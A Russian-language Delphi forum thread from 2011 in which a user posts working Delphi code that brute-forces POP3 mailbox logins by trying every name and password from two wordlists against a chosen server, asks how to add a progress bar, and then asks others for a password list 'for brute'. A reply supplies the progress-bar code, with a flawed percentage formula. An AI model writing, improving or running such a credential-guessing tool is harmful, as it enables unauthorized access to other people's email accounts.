Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 27.09.2011, 21:10   #1
megostudent
Форумчанин
 
Регистрация: 31.12.2010
Сообщений: 320
По умолчанию куда лучше вставить прогресс бар?

куда и как лучше вставить прогрессбар? чтобы показывал проценты перебора
Код:
//создаем массивстрок
LoginStrings:=TStringList.Create;
PassStrings:=TstringList.Create;
//загружаем варианты- справочник имен и паролей
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text);
//устанавливаем адресс и порт сервера
IdPOP31.Host:=ServerNameEdit.Text;
IdPOP31.Port:=StrToInt(PortEdit.Text);
//начинаем перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
//передаем имя и пароль компоненту
IdPOP31.Username:=LoginStrings.Strings[i];
IdPOP31.Password:=PassStrings.Strings[j];
//попытка соединения
try
IdPOP31.Connect;
except
end;
  //если соединение установлено, то выводим об этом сообщение
  if IdPOP31.Connected then
  begin
  //показываем найденный пароль
  Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
  'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
  IdPOP31.Disconnect;
  Exit;
  end;
  end;
  //уничтожаем массивы строк
  LoginStrings.Free;
  PassStrings.Free;
megostudent вне форума
Старый 27.09.2011, 21:20   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Ну явно во внутренний цикл.
И не забыть Application.ProcessMessages
I'm learning to live...
Stilet вне форума
Старый 28.09.2011, 00:30   #3
megostudent
Форумчанин
 
Регистрация: 31.12.2010
Сообщений: 320
По умолчанию

может у кого есть хороший сборник паролей для брута?
megostudent вне форума
Старый 28.09.2011, 10:09   #4
JUDAS
фонатик DELPHI
Форумчанин
 
Аватар для JUDAS
 
Регистрация: 14.01.2008
Сообщений: 714
По умолчанию

Код:
//начинаем перебор
count := LoginStrings.Count*PassStrings.Count;
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
  ProgressBar1.Position:=round(100*i*j/count);
  Application.ProcessMessages;
 //передаем имя и пароль компоненту
95% сбоев и ошибок приложений, находится в полу метрах от монитора
JUDAS вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Не удается связать поток+idHttp+прогресс бар grafgrial Общие вопросы Delphi 1 24.05.2011 15:46
Типа Прогресс бар! WizarD.89 Microsoft Office Excel 3 24.04.2011 14:20
Цикл и прогресс-бар А)-(дрей Microsoft Office Excel 4 17.03.2011 18:13
список и прогресс бар Temka Общие вопросы Delphi 1 02.06.2009 12:20